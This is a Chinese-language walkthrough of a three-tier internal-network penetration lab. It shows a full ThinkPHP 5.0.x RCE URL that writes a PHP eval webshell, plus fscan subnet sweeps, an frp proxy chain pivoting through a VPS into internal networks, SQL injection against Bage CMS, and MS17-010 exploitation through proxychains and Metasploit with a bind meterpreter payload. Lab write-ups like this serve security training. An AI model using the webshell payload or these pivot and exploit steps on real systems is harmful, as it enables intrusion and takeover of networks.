环境搭建
参考:https://blog.csdn.net/qq_63844103/article/details/126195711
宝塔映射 端口 target 1和target2
开始:
target1
外网打点
tp5在 5.0-5.0.24 和 5.1.0-5.1.30都是存在RCE(Remote code Execution)的,这里运气很好,直接使用5.0.x路由默认兼容模式进行RCE,使用以下payload 执行 id命令:
写shell
http://192.168.1.128/index.php/index.php/?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=qaxnb.php&vars[1][1]=%3C?PHP%20@eval($_POST[%27QAXNB666%27]);?%3E
省略验证步骤,直接使用蚁剑进行连接。
找到第一层flag
target2
接上文,已经拿下第一台服务器,尝试对这台服务器进行信息收集:
双网卡,证明这台服务器处于企业架构的DMZ(非军事区)区域,且是两个网段的边界节点,那么我们只要借助这台服务器作为跳板即可进入这家企业的内网,至少进入了 192.168.22.x/24网段的内网。
22 网段信息收集
使用fscan (https://github.com/shadow1ng/fscan)工具
对 192.168.22.x/24 网段进行扫描:
./fscan_amd64 -h 192.168.22.1/24 -o fscan.log
查看扫描结果:
发现网段内还存在 192.168.22.128 和 192.168.22.129 , 且 192.168.22.129:80 存在 cms服务。
搭建跳板
启用frp 服务端
下载frps到自己的vps上,frps.ini 配置如下 :
其中 token 表示客户端进行连接的验证参数, 监听端口为17001, dashboard 为frps自带的仪表盘,方便对frps运行情况进行查看,
使用命令 frps-c frps.ini 启动即可,如果想要后台运行,可以加入service或者使用nohup启动。
netstat 查看对应端口在监听则证明启动成功。使用配置的dashboard端口也能成功进入。
Target1 客户端配置
将frpc 传入target1 /tmp/frp目录:
其中common内容与frps.ini保持一致即可, target1客户端分别配置了socks5与http的代理方式,使用 frpc-c frpc.ini 进行启动:
这样就相当于打通了外部与该企业的内网,在互联网挂着vps 16004/16005的代理就能访问 Target2 所在的网段:
进入第二层内网
通过浏览器插件配置代理,因为浏览器不支持socks5 代理的加密认证,所以这里配置http方式
再次访问 192.168.22.128,成功访问,到此我们就已经访问了企业第二层内网:
proxifer
Bage cms 渗透
注释处存在提示
sql注入拿到 得到(admin/123qwe):
进入后台,拿到第二个flag
模板写shell
拿到target2
用蚁剑进行连接,
进入第三层内网
同样的步骤,先对刚拿下的Taget2 进行信息收集:
发现和 Target1 类似,同样是双网卡,且能访问192.168.33.128 网段,和 Target1 不同的是不能出网,如果类比企业的话,33可能就是企业的核心生产网。
再次上传fscan,对33网段进行内网大保健:
fscan 对 33网段信息收集,
./fscan_amd64 -h 192.168.33.1/24 -o fscan.log
搭建双层代理
往内网越深,需要搭建的代理就越多,内网的机器往往都是不出网的,所以需要依赖DMZ的机器作为总的出入口搭建代理链。
代理链搭建其实很简单,就是在Target1 上启动服务端,Target2 通过客户端连接服务端, 然后在使用代理时先让代理走target1 然后再走target2,即:
Hacker<->VPS<->Taget1<->Taget2<->Taget3
给Target1 运行frps 服务端,配置使用和vps相同的参数:
自己的复现:
Target1 上开始监听Target2 客户端配置的代理ip时,说明配置成功。
永恒之蓝(MS17-010)
永恒之蓝这个漏洞很老了,算是复古一波,利用方式在msf里面就有,所以可以在vps上下载msf,给vps挂上代理链即可使用msf发起对Target3 的攻击。
在linux上对应用进行强制代理的工具可以使用 proxychains-ng
因为 前面frp 有设置socke5 的账号和密码,不输入会无法连接,卡在这里了,后来对比参考文章才想到。
刚刚fscan扫描结果可知192.168.33.33 开启了 139和445 端口,使用proxtchain测试下,使用也非常简单,在需要代理的命令前面加上 proxychain即可:
proxychains telnet 192.168.33.33 139
从上图可以看到端口已经通了,这时候就可以打开msf一把梭了。
msf
使用proxychains 启动msfconsole
proxychains msfconsole
-
搜索ms17-010,直接使用第一个就好:
-
因为Target3 是不能出网的 ,所以不能使用默认的反向payload,需要指定正向payload:
set payload windows/x64/meterpreter/bind_tcp_uuid
- 设置目标参数信息
5. exploit !!!
拿到Taget3 最高权限!尝试去读取flag
截取图片,下载
到这里已经拿到了第三层的内网主机最高权限,fscan扫描也没有其他主机信息,可以确认这次就基本打穿了。
渗透流程参考:https://mp.weixin.qq.com/s/oa_7YBrvtCRIYlBbwcqoVQ,部分截图引用该公众号